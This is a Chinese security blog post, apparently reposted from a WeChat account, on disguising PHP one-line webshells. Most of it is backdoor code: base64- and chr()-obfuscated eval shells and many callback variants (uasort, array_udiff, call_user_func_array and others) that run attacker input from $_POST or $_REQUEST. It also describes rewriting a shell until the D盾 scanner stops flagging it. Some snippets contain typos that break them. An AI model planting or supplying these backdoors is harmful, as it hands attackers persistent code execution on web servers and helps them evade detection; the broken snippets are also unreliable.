一句话木马简单变形

admin 2020年6月23日10:40:52评论8 views字数 3746阅读12分29秒阅读模式

木马变形的方式:

1.字符串拼接(编码,base64,rot13,chr())

base64编码案列:


<?php$__C_C = "WlhaaGJDZ2tYMUJQVTFSYmVGMHBPdz09";$__P_P = "abcdefghijklmnopqrstuvwxyz";$__X_X = "123456789";$__O_O= $__X_X[5] . $__X_X_[3] . "_";   //64$__B_B = $__P_P{1} . $__P_P[0] . $__P_P[18] . $__P_P[4];  //base$__H_H = $__B_B . $__O_O . $__P_P[3].$__P_P[4] . $__P_P[2] . $__P_P[14] . $__P_P[3] . $__P_P[4];  //base64_decode encode$__E_E=$__P_P[4] . $__P_P[21] . $__P_P[O] . $__P_P[11];   //eval$__F_F=$__P_P[2] . $__P_P[17] . $__P_P[4] . $__P_P[0] . $__P_P[19] . $__P_P[4];   //create$__F_F=$__F_F . ’_’ . $__P_P[5] . $__P_P[20] . $__P_P[13] . $__P_P[2] . $__P_P[19] . $__P_P[8] . $__P_P[14] . $__P_P[13];   //create function$__D_D=$__F_F('$__S_S',$__E_E . '("$__S_S");');     //create_function(""'eval();')==eval()@$__D_D($__H_H($__H_H($__C_C)));    //eval('eval($_POST[x]);')?>

chr()案列:

<?php$_uU=chr(99) . chr(104) . chr(114);//echo $_uU;
$_cC=$_uU(101) . $_uU(118) . $_uU(97) . $_uU(108) . $_uU(40) . $_uU(36) . $_uU(95) . $_uU(80) . $_uU(79) . $_uU(83) . $_uU(84) . $_uU(91) . $_uU(49) . $_uU(93) . $_uU(41) . $_uU(59);//echo $ cC;
$_fF=$_uU(99) . $_uU(114) . $_uU(101) . $_uU(97) . $_uU(116) . $_uU(101) . $_uU(95) . $_uU(102). $_uU(117) . $_uU(110) . $_uU(99) . $_uU(116) . $_uU(105) . $_uU(111) . $_uU(110);//echo $_fF;
$_=$_fF("",$_cC);@$_();?>

2.create_function(参数,函数体代码) 创建匿名函数

3.preg_replace(‘/*/e’,phpinfo(),$data)

4.字符位运算(拼接)

5.<script language="php">phpinfo();</script>

6.不死马

7.gzinflate解压

8.不同位置传值

 

参数回调法:

回调函数:Callback (即call then back 被主函数调用运算后会返回主函数),是指通过函数参数传递到其它代码的,某一块可执行代码的引用。

已被D盾查杀的函数:

array_filter()array_walk()array_walk_recursive()array_map()registregister_shutdown_function();filter_var()filter_var_array()uasort()uksort()array_reduce() 可疑(级别2array_walk()array_walk_recursive()

最一般的绕狗、后门思路:

call_user_func('assert', $_REQUEST['pass']);   //直接参数回调,将$_REQUEST['pass']传入的数据,传递给assert函数去执行。

双参数回调后门:

<?php$e = $_REQUEST['e'];$arr = array('test', $_REQUEST['pass']);uasort($arr, base64_decode($e));?>

e作为传参参数,使用base64加密过的assert函数,即YXNzZXJ0,pass作为密码。整个过程是将调用$e函数,执行$arr,也就是用assert进行代码执行

 

衍生出来的方法有:

1.换为uksort函数:

<?php $e = $_REQUEST['e'];$arr = array('test' => 1, $_REQUEST['pass'] => 2); uksort($arr, $e);

2.面向对象的方法:

<?php// way 0 $arr = new ArrayObject(array('test', $_REQUEST['pass']));$arr->uasort('assert');// way 1 $arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));$arr->uksort('assert');?>

3.array_reduce

<?php$e = $_REQUEST['e'];$arr = array(1);array_reduce($arr, $e, $_POST['pass']);?>

4.array_udiff

<?php$e = $_REQUEST['e'];$arr = array($_POST['pass']);$arr2 = array(1);array_udiff($arr, $arr2, $e);?>

变种array_udiff

<?phpfunction newsSearch($para0,$para1){  $evil=$para0;  $exec=$para1;  array_udiff($arr=array($evil),$arr1 = array(''),$exec);}$exec=base64_decode($_REQUEST['exec']);newsSearch($_POST['key'],$exec);?>

5.register_tick_function()

<?phpdeclare(ticks=1);register_tick_function(base64_decode($_REQUEST['e']),$_REQUEST['a']);?>

6.变种call_user_func_array()

尝试模仿正常函数调用,定义一个简单的function:

<?phpfunction newsSearch($para0){  $evil=$para0;  $exec=$_GET['id'];  call_user_func_array($exec,array($evil));}newsSearch($_POST['tid']);?>

使用D盾查杀。没过!!变量$exec被解析成了$GET["id"],但$evil没有被解析,猜测只要将$exec放在newSearch()函数外面用GET方法获取,就不会被D盾解析,编写新的shell:

<?phpfunction newsSearch($para0,$para1){  $evil=$para0;  call_user_func_array($para1,array($evil));}$exec=base64_decode($_GET['id']);newsSearch($_POST['tid'],$exec); ?>

同样使用call_user_func函数,构造shell如下:

<?phpfunction newsSearch($para0,$para1){  $evil=$para0;  call_user_func_array($para1,array($evil));}$exec=base64_decode($_GET['id']);newsSearch($_POST['tid'],$exec); ?>

三参数回调后门

<?php$e = $_REQUEST['e'];$arr = array($_POST['pass'] => '|.*|e',);array_walk_recursive($arr, $e, '');?>

这段代码的最终效果是回调名字为$e的函数,$arr数组中的$_POST[pass](键)作为回调函数的第一个参数,'|.*|e'作为第二个参数。''作为第三个参数。

最常见的preg_replace

preg_replace('|.*|e', '你的命令', '');

其他效果类似的函数:

mb_ereg_replacepreg_filter

sqlite回调后门

如果可以使用PDO的话,可以用sqlite的PDO来执行代码

<?php$db = new PDO('sqlite::memory:');$st = $db->query("SELECT 'phpinfo()'");$re = $st->frtch?>

一句话木马简单变形

原文始发于微信公众号(Ots安全):一句话木马简单变形

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年6月23日10:40:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一句话木马简单变形http://cn-sec.com/archives/1105701.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息